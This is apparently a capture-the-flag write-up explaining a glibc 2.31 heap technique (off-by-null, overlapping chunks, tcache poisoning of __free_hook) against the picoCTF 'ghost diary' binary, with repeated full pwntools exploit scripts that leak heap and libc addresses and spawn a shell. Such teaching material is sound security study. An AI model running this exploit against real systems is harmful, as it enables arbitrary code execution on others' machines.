Chunk Overlapping - 2.31

Overlapping chunks through backwards consolidation on glibc 2.31

Intro

It's possible to make chunks overlap by shrinking the prev_size header when forcing a backwards consolidation with a fake chunk, either due to a heap overflow, an off-by-one, nullbyte overflow or any methods that allow overwriting the least significant bit of the size of a chunk. To demonstrate this technique I used the "ghost diary" challenge from picoCTF, it was origianally meant to be solved on 2.27, but I solved in 2.31 so I can also demonstrate how modern protections can be bypass in the process.

I'm not diving too deep into the structure of the heap but instead I'll suppose you already know that stuff if you're trying to understand this.

First things first

Running the program we see a few options, each of them translate to:

  • 1 - Allocate a new chunk with a size of choice (returns an index of the chunk)

  • 2 - Write to a chunk (index as argument)

  • 3 - Read data from a chunk (index as argument)

  • 4 - Free a chunk (index as argument)

  • 5 - exit the program

Now let's take a look on the decompiled code of the function that allocates chunks:

unsigned __int64 allocate()
{
  size_t size; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 0x13 && *((_QWORD *)&unk_202060 + 2 * i); ++i )
    ;
  if ( i == 20 )
  {
    puts("Buy new book");
  }
  else
  {
    puts("1. Write on one side?");
    puts("2. Write on both sides?");
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printf("> ");
          __isoc99_scanf("%d", (char *)&size + 4);
          if ( HIDWORD(size) != 1 )
            break;
          printf("size: ");
          __isoc99_scanf("%d", &size);
          if ( (unsigned int)size <= 0xF0 )
            goto LABEL_17;
          puts("too big to fit in a page");
        }
        if ( HIDWORD(size) != 2 )
          return __readfsqword(0x28u) ^ v3;
        printf("size: ");
        __isoc99_scanf("%d", &size);
        if ( (unsigned int)size > 0x10F )
          break;
        puts("don't waste pages -_-");
      }
      if ( (unsigned int)size <= 0x1E0 )
        break;
      puts("can you not write that much?");
    }
LABEL_17:
    *((_QWORD *)&unk_202060 + 2 * i) = malloc((unsigned int)size);
    if ( *((_QWORD *)&unk_202060 + 2 * i) )
    {
      dword_202068[4 * i] = size;
      printf("page #%d\n", i);
    }
    else
    {
      puts("oh noooooooo!! :(");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

Leaking a heap address

The first thing we should pay attention to is that the program doesn't initialize the memory of a chunk once it is allocated. That means that whenever we free a chunk and it falls into the respective tcache list of it's size it will now contain a pointer to the next chunk in the heap, which is fd (tcache chunks don't have bk pointers since they are singly linked), and if we allocate a new chunk with the same size it will be allocated where the freed chunk was, without cleaning the pointers, so now we can print them and leak memory.

We can start building some code to leak a heap pointer and calculate the heap base offset.

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./ghostdiary',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

if args.REMOTE:
    io = remote('127.0.0.1',9001)
else:
    io = process(e.path)

def allocate(s):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(s))

def write(i,d):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(i))
    io.recvuntil(': ')
    io.sendline(d)

def dump(i):
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(i))

def delete(i):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(i))

# Exploit
def leak_heap():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x2a0
    return base

def pwn():
    # Leak heap pointer
    allocate(0xf0)
    allocate(0xf0)
    delete(0)
    delete(1)
    for i in range(7): # This will make sense later
        allocate(0xf0)
    dump(0)
    heap_base = leak_heap()
    log.success('Heap base: ' + hex(heap_base))
    
pwn()
io.interactive()

Ok, let's break it down.

    allocate(0xf0)
    allocate(0xf0)
    delete(0)
    delete(1)

I first allocate 2 chunks of size 0xf0 and then I free both of them. Let's see what the heap looks like when I do that:

Now the tcache list of size 0x100 has 2 entries, our 2 free chunks.

Chunk 0 of the list has a fd pointer, which is the pointer to the next chunk, which is chunk 1. Now, the kicker is that when we allocate a new chunk with 0xf0 bytes for data, the total size will be 0x100, means that our new chunk will be allocated where the first chunk of the list is, in our case, chunk 0, and since the chunk isn't free we should be able to read the pointer.

As expected the chunk is allocated and the fd pointer is still there.

Moving on.

def leak_heap():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x2a0
    return base

This function simply reads the chunk where the pointer is and subtracts it's offset so we get the heap base.

The address we calculated matches the actual address. Perfect!

Null byte injection (Off-by-null)

There is a huge vuln in the function that writes data to chunks.

unsigned __int64 __fastcall sub_A5A(__int64 a1, int a2)
{
  unsigned int v2; // eax
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int v5; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = 0;
  if ( a2 )
  {
    while ( v5 != a2 )
    {
      if ( read(0, &buf, 1uLL) != 1 )
      {
        puts("read error");
        exit(-1);
      }
      if ( buf == 10 )
        break;
      v2 = v5++;
      *(_BYTE *)(a1 + v2) = buf;
    }
    *(_BYTE *)(v5 + a1) = 0;
  }
  return __readfsqword(0x28u) ^ v6;
}

More specifically, there is a huge vuln right here:

*(_BYTE *)(v5 + a1) = 0;

This is very powerful and the reason is that the buffer we can write has the size of the chunk we are writing to, but, the program appends a null byte to it. So, if I have a chunk with size 24 and write 24 A's to it, it will end up receiving 25 bytes counting the null byte. This will overwrite the last byte of the size of the next chunk with \x00, which will null the least significant bit, making the algorithm think that the previous chunk is free and can be consolidated into the new unsorted bin chunk that will be created. This is where we get naughty.

We need the chunk to which we are injecting to fall into the unsorted bin upon free, so we can cause consolitation. For this to happen, the tcache bin of the size of the chunk must have 7 entries, which is all it can carry, once there is no room on the tcache list, all freed chunks of this size will go to the unsorted bin. So we allocate 7 chunk of a size to be freed right before consolidation:

    for i in range(7): # I told you it would make sense
        allocate(0xf0)

The second thing we need is to do is to allocate a few chunks to be overlapped and make the prev_size header point to a fake chunk, so we can overlap our previous allocations with our new ones.

We also need to bypass a few protections: We need our fake chunk's fd and bk pointers to point to the chunk itself, this means the algorithm will find a "valid free chunk" when it follow those pointers. That's why we leaked a heap address previously. We need the size of our fake chunk to match the one it reads from the prev_size of the chunk being freed.

The heap layout we expect looks something like this: First chunk carries our fake chunk.

We will also allocate a few chunks to be overlapped by the new allocations after the consolidation. I'll also allocate the chunk that will overflow a nullbyte. Notice that the prev_size header matches the size header of our fake chunk, 0x180, which is the offset from the freed chunk to the fake chunk.

And last but not least, we have to allocate the chunk that will be freed in order to trigger the consolidation and a dummy chunk to prevent top chunk consolidation.

That way we should have all in place. We'll have to fill up the tcache of 0x100 to make sure the E's chunk doesn't fall into the tcache list, to do that we simply free all of our previous 0xf0 allocations. At this point, if we free the E's chunk it will consolidate with our fake chunk and the new consolidated chunk will go into the unsorted bin. The next allocations will be serviced from the new unsorted bin chunk, this means 2 thing:

  • The new chunk will have a pointer to libc main arena, and since the memory isn't initialized upon allocation, we'll be able to leak that pointer and calculate the libc base.

  • The unsorted bin chunk will cover our previous allocations, which means that we can free them and overwrite their metadata, that way we can achieve an arbitrary write via tcache poisoning.

Now we have one huge free chunk from where the next allocations will be serviced.

Let's see how the code for that looks:

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./ghostdiary',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

if args.REMOTE:
    io = remote('127.0.0.1',9001)
else:
    io = process(e.path)

def allocate(s):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(s))

def write(i,d):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(i))
    io.recvuntil(': ')
    io.sendline(d)

def dump(i):
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(i))

def delete(i):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(i))

# Exploit
def leak_heap():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x2a0
    return base

def leak_libc():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x1bebe0
    return base

def pwn():
    # Leak heap pointer
    allocate(0xf0)
    allocate(0xf0)
    delete(0)
    delete(1)
    for i in range(7):
        allocate(0xf0)
    dump(0)
    heap_base = leak_heap()
    log.success('Heap base: ' + hex(heap_base))

    fake_header = heap_base + 0x9a0
    chunk_A = flat(
        0x0,
        0x181,
        fake_header,
        fake_header,
        0x47*'A'
    )

    # Overlap
    allocate(0x68) # Will have the fake chunk
    allocate(0x58) # Will be overlapped
    allocate(0x58) # Will be overlapped
    allocate(0x58) # Will be overlapped and corrupt the next chunk
    allocate(0xf0) # Will be corrupted to trigger consolidation
    allocate(0x58)
    write(7,chunk_A)
    write(8,0x57*'B')
    write(9,0x57*'C')
    write(11,0xef*'E')
    write(10,0x50*'D' + p64(0x180))
    for i in range(7): # fill the tcache of 0x100 size
        delete(i)
    delete(11)

Leaking a libc address

As I mentioned before, our new unsorted bin chunk will have a pointer to main arena.

That means we can can allocate a new chunk from there and leak the pointer, then calculate the libc base.

    allocate(0x58)
    dump(8)

We can parse the leak with a similar function to the one I used to get the heap base.

def leak_libc():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x1bebe0
    return base

Here is our exploit so far:

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./ghostdiary',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

if args.REMOTE:
    io = remote('127.0.0.1',9001)
else:
    io = process(e.path)

def allocate(s):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(s))

def write(i,d):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(i))
    io.recvuntil(': ')
    io.sendline(d)

def dump(i):
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(i))

def delete(i):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(i))

# Exploit
def leak_heap():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x2a0
    return base

def leak_libc():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x1bebe0
    return base

def pwn():
    # Leak heap pointer
    allocate(0xf0)
    allocate(0xf0)
    delete(0)
    delete(1)
    for i in range(7):
        allocate(0xf0)
    dump(0)
    heap_base = leak_heap()
    log.success('Heap base: ' + hex(heap_base))

    fake_header = heap_base + 0x9a0
    chunk_A = flat(
        0x0,
        0x181,
        fake_header,
        fake_header,
        0x47*'A'
    )

    # Leak libc
    allocate(0x68)
    allocate(0x58)
    allocate(0x58)
    allocate(0x58)
    allocate(0xf0)
    allocate(0x58)
    write(7,chunk_A)
    write(8,0x57*'B')
    write(9,0x57*'C')
    write(11,0xef*'E')
    write(10,0x50*'D' + p64(0x180))
    for i in range(7):
        delete(i)
    delete(11)
    gdb.attach(io)
    allocate(0x58)
    dump(8)
    libc.address = leak_libc()
    log.success('Libc base: ' + hex(libc.address))

Tcache poisoning

Since we can now manipulate the metadata of freed chunks overlapped by the new allocations, we can corrupt the fd pointer of a tcache chunk, that way we can cause our next allocation of this tcache size to go into an arbitrary address. Also notice that on libc 2.31 the algorithm keeps a count of the chunks on a tcache list, which means that, despite of the fd pointer of the last tcache chunk telling it that there is a next chunk it could traverse to, it will just ignore it and allocate somewhere else. The way to bypass this is making sure that our corrupted chunk isn't the last one on the list, so we can make sure the algorithm will follow our evil pointer.

To do that, all we have to do is to free one of our old chunks, and cover it with a new allocation, that way, the data of the new chunk will be the metadata of the old one.

The best place to write in our case would be the free hook, so whenever we free a chunk we can pass its data as argument to another function, for example, if we have a chunk with "/bin/sh", then write the address of system to the free hook and free the chunk, we would pop a shell.

    free_hook = libc.sym['__free_hook']
    allocate(0x78)
    allocate(0x78)
    delete(8)
    delete(2)
    write(9,32*'C' + p64(free_hook))

If we allocate new overlapping chunks like that we can make sure that the corrupted chunk won't be the last one on the list and successfuly overwrite the fd pointer with the address of free hook. Here is how the tcache of that size looks like after poísoning:

Now, if we allocate 2 chunks, the second one will go into free hook, so we can then edit it to have a pointer to the system function. After that, getting a shell should be as easy as writing "/bin/sh" to a chunk and then freeing it.

Final Exploit

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./ghostdiary',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

if args.REMOTE:
    io = remote('127.0.0.1',9001)
else:
    io = process(e.path)

def allocate(s):
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(s))

def write(i,d):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(i))
    io.recvuntil(': ')
    io.sendline(d)

def dump(i):
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(i))

def delete(i):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(i))

# Exploit
def leak_heap():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x2a0
    return base

def leak_libc():
    io.recvuntil(': ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    base = leak - 0x1bebe0
    return base

def pwn():
    # Leak heap pointer
    allocate(0xf0)
    allocate(0xf0)
    delete(0)
    delete(1)
    for i in range(7):
        allocate(0xf0)
    dump(0)
    heap_base = leak_heap()
    log.success('Heap base: ' + hex(heap_base))

    fake_header = heap_base + 0x9a0
    chunk_A = flat(
        0x0,
        0x181,
        fake_header,
        fake_header,
        0x47*'A'
    )

    # Leak libc
    allocate(0x68)
    allocate(0x58)
    allocate(0x58)
    allocate(0x58)
    allocate(0xf0)
    allocate(0x58)
    write(7,chunk_A)
    write(8,0x57*'B')
    write(9,0x57*'C')
    write(11,0xe7*'E' + '/bin/sh')
    write(10,0x50*'D' + p64(0x180))
    for i in range(7):
        delete(i)
    delete(11)
    allocate(0x58)
    dump(8)
    libc.address = leak_libc()
    log.success('Libc base: ' + hex(libc.address))

    # Poison Tcache
    free_hook = libc.sym['__free_hook']
    allocate(0x78)
    allocate(0x78)
    delete(8)
    delete(2)
    write(9,32*'C' + p64(free_hook))
    allocate(0x78)
    allocate(0x78)

    # Get Shell
    system = libc.sym['system']
    write(1,'/bin/sh\x00')
    write(3,p64(system))
    delete(1)

pwn()
io.interactive()

Running the exploit pops a shell as expected.

Last updated